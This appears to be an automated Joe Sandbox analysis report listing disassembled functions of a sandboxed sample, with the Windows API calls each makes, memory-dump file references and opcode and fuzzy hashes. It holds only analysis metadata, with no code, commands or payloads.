Instruction Fuzzy Hash: 652112B141014FAEEF21DF50C848BDF3BA9EB04304F141526E986C2A40E7769DA8DF6C

Function 00DD22DB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 130
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,00DD22D7,00000003,00000000,00000003), ref: 00DD23B1

Strings

C, xrefs: 00DD2431

Memory Dump Source

Source File: 00000007.00000002.2471952944.0000000000DCC000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000007.00000002.2471706248.0000000000C50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471724007.0000000000C52000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471742696.0000000000C56000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471762212.0000000000C5A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471783408.0000000000C64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471801133.0000000000C65000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471819244.0000000000C66000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471911764.0000000000DB6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471931079.0000000000DB9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471952944.0000000000DD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471988413.0000000000DDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472004356.0000000000DDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472020112.0000000000DDE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472035960.0000000000DDF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472051765.0000000000DE0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472069381.0000000000DE3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472134700.0000000000DEB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472158872.0000000000DEC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472180727.0000000000DED000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472243853.0000000000DEE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472275228.0000000000DF1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472355250.0000000000DF2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472374776.0000000000DF3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472395618.0000000000DF4000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472430776.0000000000E0A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472459681.0000000000E0C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472484799.0000000000E0E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472516730.0000000000E20000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472547229.0000000000E2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472572466.0000000000E2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472597003.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472624979.0000000000E30000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472654311.0000000000E31000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472680908.0000000000E32000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472708297.0000000000E40000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472736714.0000000000E45000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472766135.0000000000E46000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472793283.0000000000E4B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472819406.0000000000E52000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472848688.0000000000E59000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472878591.0000000000E68000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472908281.0000000000E6C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472934975.0000000000E6D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472963673.0000000000E6F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472995751.0000000000E70000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473022210.0000000000E78000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473066304.0000000000E80000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473101121.0000000000E81000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473129240.0000000000E89000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473155394.0000000000E8B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473196001.0000000000E9C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473226065.0000000000E9E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473275605.0000000000EE5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473275605.0000000000EEC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473343849.0000000000EFC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473373403.0000000000EFE000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c50000_A1B0VWLBQG1NHHVW3B7EOUSWCWB.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: 7af17a6e896e64e468c4a75fec1e1880300cd906b3c78ced3cd2ae3f0db02405
Instruction ID: 501a3f3abe8c66c9584808112515022166a89127450296ecf0168039f7eb64ae
Opcode Fuzzy Hash: 7af17a6e896e64e468c4a75fec1e1880300cd906b3c78ced3cd2ae3f0db02405
Instruction Fuzzy Hash: 4C31F7B624821A6EE701CE449A10AFF77ADE7F6330F30842FF446D6741D2A98D099738

Function 00DD2329 Relevance: 1.6, APIs: 1, Instructions: 111
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,00DD22D7,00000003,00000000,00000003), ref: 00DD23B1

Memory Dump Source

Source File: 00000007.00000002.2471952944.0000000000DCC000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000007.00000002.2471706248.0000000000C50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471724007.0000000000C52000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471742696.0000000000C56000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471762212.0000000000C5A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471783408.0000000000C64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471801133.0000000000C65000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471819244.0000000000C66000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471911764.0000000000DB6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471931079.0000000000DB9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471952944.0000000000DD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471988413.0000000000DDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472004356.0000000000DDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472020112.0000000000DDE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472035960.0000000000DDF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472051765.0000000000DE0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472069381.0000000000DE3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472134700.0000000000DEB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472158872.0000000000DEC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472180727.0000000000DED000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472243853.0000000000DEE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472275228.0000000000DF1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472355250.0000000000DF2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472374776.0000000000DF3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472395618.0000000000DF4000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472430776.0000000000E0A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472459681.0000000000E0C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472484799.0000000000E0E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472516730.0000000000E20000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472547229.0000000000E2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472572466.0000000000E2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472597003.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472624979.0000000000E30000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472654311.0000000000E31000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472680908.0000000000E32000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472708297.0000000000E40000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472736714.0000000000E45000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472766135.0000000000E46000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472793283.0000000000E4B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472819406.0000000000E52000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472848688.0000000000E59000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472878591.0000000000E68000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472908281.0000000000E6C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472934975.0000000000E6D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472963673.0000000000E6F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472995751.0000000000E70000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473022210.0000000000E78000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473066304.0000000000E80000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473101121.0000000000E81000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473129240.0000000000E89000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473155394.0000000000E8B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473196001.0000000000E9C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473226065.0000000000E9E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473275605.0000000000EE5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473275605.0000000000EEC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473343849.0000000000EFC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473373403.0000000000EFE000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c50000_A1B0VWLBQG1NHHVW3B7EOUSWCWB.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 64cdef79486e99049d853765807bae854081b10261903fc63e998956c11c91bb
Instruction ID: a22ec3f3feedecd296c61bc7621445e22fd1fb77f7085d0f1d03723a78f0eb8f
Opcode Fuzzy Hash: 64cdef79486e99049d853765807bae854081b10261903fc63e998956c11c91bb
Instruction Fuzzy Hash: 022149BB24821A6EE712CF54AA50AFF77ADE7D6330F34403FF446C6642C2A54D0A9634

Function 00DCFFBC Relevance: 1.6, APIs: 1, Instructions: 106
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00DCFFBC

Memory Dump Source

Source File: 00000007.00000002.2471952944.0000000000DCC000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000007.00000002.2471706248.0000000000C50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471724007.0000000000C52000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471742696.0000000000C56000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471762212.0000000000C5A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471783408.0000000000C64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471801133.0000000000C65000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471819244.0000000000C66000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471911764.0000000000DB6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471931079.0000000000DB9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471952944.0000000000DD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471988413.0000000000DDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472004356.0000000000DDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472020112.0000000000DDE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472035960.0000000000DDF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472051765.0000000000DE0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472069381.0000000000DE3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472134700.0000000000DEB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472158872.0000000000DEC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472180727.0000000000DED000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472243853.0000000000DEE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472275228.0000000000DF1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472355250.0000000000DF2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472374776.0000000000DF3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472395618.0000000000DF4000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472430776.0000000000E0A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472459681.0000000000E0C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472484799.0000000000E0E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472516730.0000000000E20000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472547229.0000000000E2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472572466.0000000000E2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472597003.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472624979.0000000000E30000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472654311.0000000000E31000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472680908.0000000000E32000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472708297.0000000000E40000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472736714.0000000000E45000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472766135.0000000000E46000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472793283.0000000000E4B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472819406.0000000000E52000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472848688.0000000000E59000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472878591.0000000000E68000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472908281.0000000000E6C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472934975.0000000000E6D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472963673.0000000000E6F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472995751.0000000000E70000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473022210.0000000000E78000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473066304.0000000000E80000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473101121.0000000000E81000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473129240.0000000000E89000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473155394.0000000000E8B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473196001.0000000000E9C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473226065.0000000000E9E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473275605.0000000000EE5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473275605.0000000000EEC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473343849.0000000000EFC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473373403.0000000000EFE000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c50000_A1B0VWLBQG1NHHVW3B7EOUSWCWB.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: eb207cf69f53d82b535afd0221ada1a0db2cbb0a9adfdde752d5ae9cec96d14c
Instruction ID: 683cab651233dfd70eaf61366c26f57bb219e184e1a55adc6d682d188e60a7f0
Opcode Fuzzy Hash: eb207cf69f53d82b535afd0221ada1a0db2cbb0a9adfdde752d5ae9cec96d14c
Instruction Fuzzy Hash: F3312AB250C700AFE709AF19D88167EFBE5FF98711F16482EE6C983650E6344844CB97

Function 00DD2307 Relevance: 1.6, APIs: 1, Instructions: 93
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,00DD22D7,00000003,00000000,00000003), ref: 00DD23B1

Memory Dump Source

Source File: 00000007.00000002.2471952944.0000000000DCC000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000007.00000002.2471706248.0000000000C50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471724007.0000000000C52000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471742696.0000000000C56000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471762212.0000000000C5A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471783408.0000000000C64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471801133.0000000000C65000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471819244.0000000000C66000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471911764.0000000000DB6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471931079.0000000000DB9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471952944.0000000000DD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471988413.0000000000DDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472004356.0000000000DDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472020112.0000000000DDE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472035960.0000000000DDF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472051765.0000000000DE0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472069381.0000000000DE3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472134700.0000000000DEB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472158872.0000000000DEC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472180727.0000000000DED000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472243853.0000000000DEE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472275228.0000000000DF1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472355250.0000000000DF2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472374776.0000000000DF3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472395618.0000000000DF4000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472430776.0000000000E0A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472459681.0000000000E0C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472484799.0000000000E0E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472516730.0000000000E20000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472547229.0000000000E2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472572466.0000000000E2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472597003.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472624979.0000000000E30000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472654311.0000000000E31000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472680908.0000000000E32000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472708297.0000000000E40000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472736714.0000000000E45000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472766135.0000000000E46000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472793283.0000000000E4B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472819406.0000000000E52000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472848688.0000000000E59000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472878591.0000000000E68000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472908281.0000000000E6C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472934975.0000000000E6D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472963673.0000000000E6F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472995751.0000000000E70000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473022210.0000000000E78000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473066304.0000000000E80000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473101121.0000000000E81000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473129240.0000000000E89000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473155394.0000000000E8B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473196001.0000000000E9C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473226065.0000000000E9E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473275605.0000000000EE5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473275605.0000000000EEC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473343849.0000000000EFC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473373403.0000000000EFE000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c50000_A1B0VWLBQG1NHHVW3B7EOUSWCWB.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: db1df4507d890c11f4b68f97bc7f349f97416bbb78e621d9bd98b536a9d44ca3
Instruction ID: f17c67eb38f884d8fbf53986bd10476f306a06dcbf9c14974f267491a6d86554
Opcode Fuzzy Hash: db1df4507d890c11f4b68f97bc7f349f97416bbb78e621d9bd98b536a9d44ca3
Instruction Fuzzy Hash: 3821D5B624421A6EE701CF44AA14AFF77ADE7A6330F30443FF446D6B41D2A98D4A9734

Function 04FB0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04FB0DCD

Memory Dump Source

Source File: 00000007.00000002.2475574547.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4fb0000_A1B0VWLBQG1NHHVW3B7EOUSWCWB.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: a8617889852324e3899f7d65130d9d809251247748e7c2bce2ebf9b756f62e66
Instruction ID: f98446027fb64d3e5963273d7d7226647392605972e673528ad8d10b92e422dd
Opcode Fuzzy Hash: a8617889852324e3899f7d65130d9d809251247748e7c2bce2ebf9b756f62e66
Instruction Fuzzy Hash: 0E2138B6C012189FCB50CF9AD884ADEFBF4FF89710F14851AD908AB244DB34A545CFA4

Function 04FB0D41 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04FB0DCD

Memory Dump Source

Source File: 00000007.00000002.2475574547.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4fb0000_A1B0VWLBQG1NHHVW3B7EOUSWCWB.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 87eab4cbad3f5c9301fbfc14f1a4204dc95d0a8601ef38c6789ce76e3729e990
Instruction ID: 8e0675c836f02da75ac968aacd8682b2752c37196fea137a476c5420d6ecb686
Opcode Fuzzy Hash: 87eab4cbad3f5c9301fbfc14f1a4204dc95d0a8601ef38c6789ce76e3729e990
Instruction Fuzzy Hash: BA2147B6D00208CFCB54CF99D484ADEFBF1FF89310F14862AD908AB244CB38A545CBA4

Function 04FB1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
